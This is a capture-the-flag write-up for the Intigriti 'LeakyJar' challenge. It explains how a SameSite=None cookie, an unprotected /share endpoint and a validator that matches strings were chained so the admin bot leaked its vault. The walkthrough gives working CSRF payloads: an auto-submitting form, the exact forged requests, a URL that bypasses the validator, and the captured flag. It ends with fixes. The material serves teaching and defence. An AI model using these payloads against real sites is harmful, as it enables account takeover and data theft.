CSRF SameSite=None Admin Vault Disclosure

Three wrong.
One flag.

The session cookie had one bad attribute. The share endpoint had no protection. The bot's URL validator used a string match. None of these alone was enough. Combined — full admin vault read in under thirty seconds.

CSRF
Vulnerability Type
Medium
Severity
<30s
Time to Flag
3
Weaknesses Chained

What is LeakyJar?

A cookie-recipe sharing app. Register, get a private vault — a recipe box storing names and notes. The notes field is literally called password in the form. Share your vault with another user and they get full read access to every recipe and note inside.

There is an admin account. Its vault holds the flag. There is a bot at /submit — send it a URL, it visits as admin, reviews the page. That bot is the only attack surface that matters.

Goal: get the bot to share the admin vault with the attacker account.

App endpoints
GET  /               landing page
POST /register       create account
POST /login          authenticate
GET  /vault          your recipe box
POST /vault/add      add a recipe
POST /share          share vault with user  ← target
POST /submit         submit URL to admin bot ← entry
GET  /vault/:uuid    read a shared vault
02   Root Cause

Three things were broken

Each one independently is a finding. Together they are a chain. Remove any single link and the attack fails.

01

SameSite=None on Session Cookie

The browser attaches this cookie to every request regardless of origin — including cross-origin form POSTs from domains the victim never chose to visit.

Enables cross-origin delivery
02

No CSRF Token on /share

The share form has no hidden token, no nonce. The server checks neither Origin nor Referer. Any POST with a valid session cookie succeeds.

Allows forged state change
03

URL Validator Uses a Blocklist

The validator does a raw string match on the URL — not a hostname parse. A GitHub Pages URL with leakyjar.intigriti.io in the path passes, but the bot visits GitHub's servers — a page the attacker controls.

Delivers payload to bot
Set-Cookie on /register response
Set-Cookie: session=eyJ1c2VyI...;
  Secure; HttpOnly; Path=/;
  SameSite=None  ← should be Lax
Origin: evil.com → 302 accepted
POST /share
Origin: https://evil.com
Cookie: session=<victim>

username=attacker

HTTP/1.1 302 Found  ← no rejection
URL validator — string match bypass
# Rejected (blocklist entries):
https://lhr.life/...                               ← rejected
https://127.0.0.1/...                              ← rejected
https://leakyjar.intigriti.io.evil.com             ← rejected

# Path contains "leakyjar.intigriti.io" → passes string match:
https://techiesiddhi.github.io/poc/leakyjar.intigriti.io/
# Bot visits techiesiddhi.github.io — attacker's page
03   Exploitation

The Attack

ATTACKER ADMIN BOT LEAKYJAR POST /register 302 + SameSite=None cookie POST /submit (CSRF page URL) 200 · Baker will check it shortly triggers visit POST /share Cookie: admin_session ← SameSite=None 302 → /vault · share complete GET /vault/f09ac8fe-... 200 · INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}
01
Register attacker account
POST /register
POST /register HTTP/1.1
Host: leakyjar.intigriti.io

username=h4ckzor99&password=letmein321

HTTP/1.1 302 Found
Set-Cookie: session=eyJ1c2VyIjoiaDRja3pvcjk5In0.aj9utQ._U3ix7ihof2t0i5_BG4f_AOzBrg; Secure; HttpOnly; SameSite=None
02
Host CSRF page on GitHub Pages

Path contains leakyjar.intigriti.io as a directory name — passes the bot's string-match check. GitHub Pages serves it with no CSP, so the form fires immediately on load.

techiesiddhi.github.io/poc/leakyjar.intigriti.io/index.html
<form id="f" method="POST" action="https://leakyjar.intigriti.io/share">
  <input type="hidden" name="username" value="h4ckzor99">
</form>
<script>document.getElementById('f').submit();</script>
03
Submit URL to admin bot
POST /submit
POST /submit HTTP/1.1
Host: leakyjar.intigriti.io
Cookie: session=eyJ1c2VyIjoiaDRja3pvcjk5In0.aj9wlw.pvWcT51BZpTu6JMxwnWqfPfbpJc

url=https%3A%2F%2Ftechiesiddhi.github.io%2Fpoc%2Fleakyjar.intigriti.io%2F

Sent — the Master Baker will check it shortly.
04
Bot visits — CSRF fires with admin cookie

HeadlessChrome/133 from GCP Belgium loads the page, the form auto-submits. Because the admin's cookie is SameSite=None, the browser attaches it to the cross-origin POST without hesitation.

What the bot sends to leakyjar
POST /share HTTP/1.1
Host: leakyjar.intigriti.io
Origin: https://techiesiddhi.github.io
Cookie: session=<admin_session>
Content-Type: application/x-www-form-urlencoded

username=h4ckzor99

HTTP/1.1 302 Found
Location: /vault   ← vault shared. admin never notified.

The admin's vault share appears in the attacker account within seconds. The admin receives no notification.

05
Read admin vault — collect flag

Shared vault appears in the attacker's vault page. Open it.

GET /vault/f09ac8fe-e51a-4fbb-afa6-f9bfb77f937a
House Sugar Cookies          Cream butter and sugar, bake at 175C for 9 minutes.
Brown Butter Base            Brown the butter until nutty, then chill before using.
Master Baker's Secret Recipe INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}
04   Result

Flag

Intigriti CTF · LeakyJar · June 2026
INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}

Admin vault contents read in full. No XSS. No phishing. No interaction from the admin beyond the bot doing its routine review. The entire attack ran from a registered account with no elevated privileges.

05   Remediation

Two fixes

Fix 1 alone stops the attack. Fix 2 is defence in depth.

FIX · 01

SameSite=Lax on session cookie

Blocks cross-origin form POSTs from carrying the session. This alone kills the CSRF.

Set-Cookie
session=...; Secure;
HttpOnly; Path=/;
SameSite=Lax
FIX · 02

CSRF token on all state-changing forms

Covers /share, /vault/add, and /recipes/review in one line.

Flask-WTF
from flask_wtf.csrf import \
    CSRFProtect
csrf = CSRFProtect(app)